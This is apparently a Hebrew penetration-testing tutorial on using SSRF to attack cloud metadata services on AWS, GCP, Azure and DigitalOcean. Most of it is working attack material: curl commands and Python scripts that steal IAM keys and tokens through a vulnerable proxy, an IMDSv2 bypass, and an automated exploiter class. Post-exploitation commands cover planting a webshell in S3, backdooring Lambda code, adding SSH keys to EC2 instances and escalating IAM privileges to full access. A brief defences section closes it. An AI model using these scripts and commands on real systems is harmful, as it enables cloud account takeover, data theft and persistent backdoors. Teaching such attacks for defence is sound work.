תקיפת ענן דרך SSRF - Cloud Exploitation via SSRF¶
מבוא¶
אחד היעדים המשמעותיים ביותר של SSRF בסביבות ענן הוא שירות ה-Metadata. כל ספק ענן מספק שירות פנימי שדרכו מכונות וירטואליות יכולות לגשת למידע על עצמן - כולל הרשאות גישה. תוקף שמצליח לבצע SSRF יכול לגנוב את ההרשאות ולהשתלט על משאבי הענן.
שירות Metadata של AWS - IMDSv1¶
כתובת הבסיס¶
שירות ה-Metadata של AWS זמין בכתובת קבועה שאינה ניתנת לשינוי:
מידע זמין¶
# מידע בסיסי על המכונה
http://169.254.169.254/latest/meta-data/instance-id
http://169.254.169.254/latest/meta-data/instance-type
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/local-ipv4
http://169.254.169.254/latest/meta-data/public-ipv4
# מידע על הרשת
http://169.254.169.254/latest/meta-data/network/interfaces/macs/
http://169.254.169.254/latest/meta-data/placement/availability-zone
http://169.254.169.254/latest/meta-data/placement/region
# user-data - סקריפטים שרצים בהפעלה (לעיתים מכילים סודות)
http://169.254.169.254/latest/user-data
חילוץ הרשאות IAM¶
זו המטרה העיקרית - גניבת הרשאות הגישה לענן:
# שלב 1: מציאת שם ה-Role
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# תשובה: MyEC2Role
# שלב 2: חילוץ ההרשאות
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/MyEC2Role
תשובה לדוגמה:
{
"Code": "Success",
"LastUpdated": "2024-01-15T12:00:00Z",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIA1234567890EXAMPLE",
"SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
"Token": "FwoGZXIvYXdzEBYaDH...(long session token)...",
"Expiration": "2024-01-15T18:00:00Z"
}
דוגמה מלאה לניצול SSRF לגניבת הרשאות¶
import requests
# שלב 1: ניצול SSRF לקריאת ה-Role
target = "https://vulnerable-app.com/proxy"
ssrf_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
response = requests.get(target, params={"url": ssrf_url})
role_name = response.text.strip()
print(f"[+] Found role: {role_name}")
# שלב 2: חילוץ ההרשאות
creds_url = f"http://169.254.169.254/latest/meta-data/iam/security-credentials/{role_name}"
response = requests.get(target, params={"url": creds_url})
creds = response.json()
print(f"[+] Access Key: {creds['AccessKeyId']}")
print(f"[+] Secret Key: {creds['SecretAccessKey']}")
print(f"[+] Token: {creds['Token']}")
IMDSv2 - הגרסה המאובטחת¶
כיצד IMDSv2 עובד¶
ב-IMDSv2, צריך קודם לבצע בקשת PUT כדי לקבל טוקן, ואז להשתמש בטוקן בכל בקשה:
# שלב 1: קבלת טוקן (בקשת PUT עם header מיוחד)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
# שלב 2: שימוש בטוקן
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
מדוע IMDSv2 מגן מפני SSRF¶
- דורש בקשת PUT - רוב חולשות SSRF תומכות רק ב-GET
- דורש Header מותאם - קשה להעביר Headers דרך SSRF רגיל
- טוקן עם TTL - מוגבל בזמן
- חוסם בקשות עם
X-Forwarded-For- מונע ניצול דרך פרוקסי
תרחישים שבהם IMDSv2 ניתן לעקיפה¶
# אם ל-SSRF יש שליטה מלאה על הבקשה (method + headers)
import requests
# שלב 1: בקשת PUT דרך ה-SSRF
token_response = requests.post(
"https://vulnerable-app.com/proxy",
json={
"url": "http://169.254.169.254/latest/api/token",
"method": "PUT",
"headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}
}
)
token = token_response.text
# שלב 2: שימוש בטוקן
creds_response = requests.post(
"https://vulnerable-app.com/proxy",
json={
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
"method": "GET",
"headers": {"X-aws-ec2-metadata-token": token}
}
)
שירות Metadata של GCP¶
כתובת הבסיס¶
דרישת Header¶
כל בקשה ל-Metadata חייבת לכלול:
חילוץ מידע¶
# מידע על המכונה
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/hostname
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/zone
# חילוץ טוקן של Service Account
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# מידע ברמת הפרויקט
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/project/attributes/
# SSH keys ברמת הפרויקט
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys
דוגמת תשובה של טוקן¶
עקיפת דרישת ה-Header¶
ב-GCP, ה-Header נדרש, מה שמקשה על SSRF רגיל. אבל:
# אם ה-SSRF תומך ב-redirect, ניתן להשתמש ב-redirect שמוסיף את ה-Header
# ב-Google Cloud Functions ישנות (Gen 1), ניתן היה לגשת ללא Header:
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
# v1beta1 לא דרש את ה-Header (הושבת ברוב הסביבות)
שירות Metadata של Azure¶
כתובת הבסיס¶
דרישת Header¶
חילוץ מידע¶
# מידע על המכונה
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/instance?api-version=2021-02-01"
# חילוץ Managed Identity טוקן
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# חילוץ טוקן ל-Storage
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/"
דוגמת תשובה¶
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIs...",
"client_id": "12345678-1234-1234-1234-123456789012",
"expires_in": "3600",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
שירות Metadata של DigitalOcean¶
# כתובת הבסיס (ללא Header נדרש!)
curl http://169.254.169.254/metadata/v1/
# מידע בסיסי
curl http://169.254.169.254/metadata/v1/hostname
curl http://169.254.169.254/metadata/v1/region
curl http://169.254.169.254/metadata/v1/interfaces/private/0/ipv4/address
# user-data
curl http://169.254.169.254/metadata/v1/user-data
ב-DigitalOcean אין צורך ב-Header מיוחד, מה שהופך אותו לפגיע במיוחד ל-SSRF.
ניצול הרשאות גנובות - Post-Exploitation¶
שימוש בהרשאות AWS גנובות¶
# הגדרת ההרשאות הגנובות
export AWS_ACCESS_KEY_ID="ASIA1234567890EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_SESSION_TOKEN="FwoGZXIvYXdzEBYaDH..."
# בדיקת זהות
aws sts get-caller-identity
# תשובה לדוגמה:
# {
# "UserId": "AROA1234567890:i-0abc123def456",
# "Account": "123456789012",
# "Arn": "arn:aws:sts::123456789012:assumed-role/MyEC2Role/i-0abc123def456"
# }
גישה ל-S3¶
# רשימת כל ה-Buckets
aws s3 ls
# רשימת קבצים ב-Bucket
aws s3 ls s3://company-backups/
# הורדת קבצים
aws s3 cp s3://company-backups/database-dump.sql ./
# העלאת webshell (אם יש הרשאות כתיבה)
aws s3 cp webshell.php s3://company-website/webshell.php
מניפולציה של Lambda Functions¶
# רשימת פונקציות
aws lambda list-functions
# קריאת קוד של פונקציה (כולל משתני סביבה עם סודות)
aws lambda get-function --function-name my-function
aws lambda get-function-configuration --function-name my-function
# עדכון קוד של פונקציה (backdoor)
aws lambda update-function-code \
--function-name my-function \
--zip-file fileb://malicious-code.zip
שליטה ב-EC2¶
# רשימת מכונות
aws ec2 describe-instances
# יצירת snapshot של דיסק (לחילוץ נתונים)
aws ec2 create-snapshot --volume-id vol-0abc123def456
# הוספת SSH key למכונה
aws ec2-instance-connect send-ssh-public-key \
--instance-id i-0abc123def456 \
--instance-os-user ec2-user \
--ssh-public-key file://my-key.pub
הסלמת הרשאות דרך IAM¶
# בדיקת ההרשאות הנוכחיות
aws iam list-attached-role-policies --role-name MyEC2Role
aws iam get-role-policy --role-name MyEC2Role --policy-name MyPolicy
# אם יש הרשאת iam:PassRole + lambda:CreateFunction
# ניתן ליצור Lambda עם Role חזק יותר
aws lambda create-function \
--function-name escalation \
--runtime python3.9 \
--role arn:aws:iam::123456789012:role/AdminRole \
--handler index.handler \
--zip-file fileb://code.zip
# אם יש הרשאת iam:CreatePolicyVersion
aws iam create-policy-version \
--policy-arn arn:aws:iam::123456789012:policy/MyPolicy \
--policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' \
--set-as-default
תצורות שגויות של S3¶
בדיקת גישה ל-Bucket¶
# בדיקת גישה אנונימית
aws s3 ls s3://target-bucket --no-sign-request
# בדיקת גישה עם הרשאות מאומתות
aws s3 ls s3://target-bucket
# בדיקת הרשאות כתיבה
echo "test" > test.txt
aws s3 cp test.txt s3://target-bucket/test.txt --no-sign-request
כלים לסריקת Buckets¶
# שימוש ב-AWS CLI לבדיקת ACL
aws s3api get-bucket-acl --bucket target-bucket --no-sign-request
# בדיקת Bucket Policy
aws s3api get-bucket-policy --bucket target-bucket --no-sign-request
זרימת תקיפה מלאה - SSRF לענן¶
SSRF באפליקציה
|
v
גישה ל-169.254.169.254
|
v
חילוץ שם ה-IAM Role
|
v
חילוץ Access Key + Secret Key + Token
|
v
שימוש בהרשאות מהמכונה המקומית
|
+---> גישה ל-S3 Buckets
|
+---> קריאת Lambda Functions (סודות במשתני סביבה)
|
+---> שליטה ב-EC2 Instances
|
+---> הסלמת הרשאות דרך IAM
|
v
השתלטות מלאה על חשבון הענן
סקריפט אוטומטי לניצול¶
import requests
import json
import subprocess
class AWSMetadataExploiter:
def __init__(self, ssrf_url, param_name="url"):
self.ssrf_url = ssrf_url
self.param_name = param_name
self.metadata_base = "http://169.254.169.254/latest"
def fetch_via_ssrf(self, internal_url):
response = requests.get(
self.ssrf_url,
params={self.param_name: internal_url}
)
return response.text
def get_role_name(self):
url = f"{self.metadata_base}/meta-data/iam/security-credentials/"
role = self.fetch_via_ssrf(url).strip()
print(f"[+] IAM Role: {role}")
return role
def get_credentials(self, role_name):
url = f"{self.metadata_base}/meta-data/iam/security-credentials/{role_name}"
creds_text = self.fetch_via_ssrf(url)
creds = json.loads(creds_text)
print(f"[+] Access Key: {creds['AccessKeyId']}")
print(f"[+] Secret Key: {creds['SecretAccessKey'][:10]}...")
print(f"[+] Expiration: {creds['Expiration']}")
return creds
def get_user_data(self):
url = f"{self.metadata_base}/user-data"
data = self.fetch_via_ssrf(url)
print(f"[+] User Data:\n{data}")
return data
def exploit(self):
print("[*] Starting AWS metadata exploitation...")
role = self.get_role_name()
creds = self.get_credentials(role)
self.get_user_data()
print("\n[*] Export commands:")
print(f"export AWS_ACCESS_KEY_ID='{creds['AccessKeyId']}'")
print(f"export AWS_SECRET_ACCESS_KEY='{creds['SecretAccessKey']}'")
print(f"export AWS_SESSION_TOKEN='{creds['Token']}'")
return creds
# שימוש:
# exploiter = AWSMetadataExploiter("https://vulnerable-app.com/proxy")
# exploiter.exploit()
הגנות¶
IMDSv2 ב-AWS¶
# הפעלת IMDSv2 בלבד (חסימת IMDSv1)
aws ec2 modify-instance-metadata-options \
--instance-id i-0abc123def456 \
--http-tokens required \
--http-endpoint enabled
הגבלת רשת¶
# חסימת גישה ל-metadata מ-containers
iptables -A OUTPUT -d 169.254.169.254 -j DROP
# ב-Kubernetes - שימוש ב-NetworkPolicy
הרשאות מינימליות - Least Privilege¶
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetObject"
],
"Resource": "arn:aws:s3:::my-specific-bucket/*"
}
]
}
ניטור¶
# הפעלת CloudTrail לניטור שימוש בהרשאות
# זיהוי שימוש בהרשאות מ-IP חריג
# הגדרת alerts על פעולות רגישות
סיכום¶
| ספק ענן | כתובת Metadata | דרישת Header | רמת סיכון |
|---|---|---|---|
| AWS IMDSv1 | 169.254.169.254 | ללא | קריטי |
| AWS IMDSv2 | 169.254.169.254 | טוקן מ-PUT | בינוני |
| GCP | metadata.google.internal | Metadata-Flavor: Google | גבוה |
| Azure | 169.254.169.254 | Metadata: true | גבוה |
| DigitalOcean | 169.254.169.254 | ללא | קריטי |
הנקודה המרכזית: SSRF בסביבת ענן הוא לא רק קריאת קבצים פנימיים - זו דרך להשתלטות מלאה על תשתית הענן. הפעלת IMDSv2 והגדרת הרשאות מינימליות הן הגנות חובה.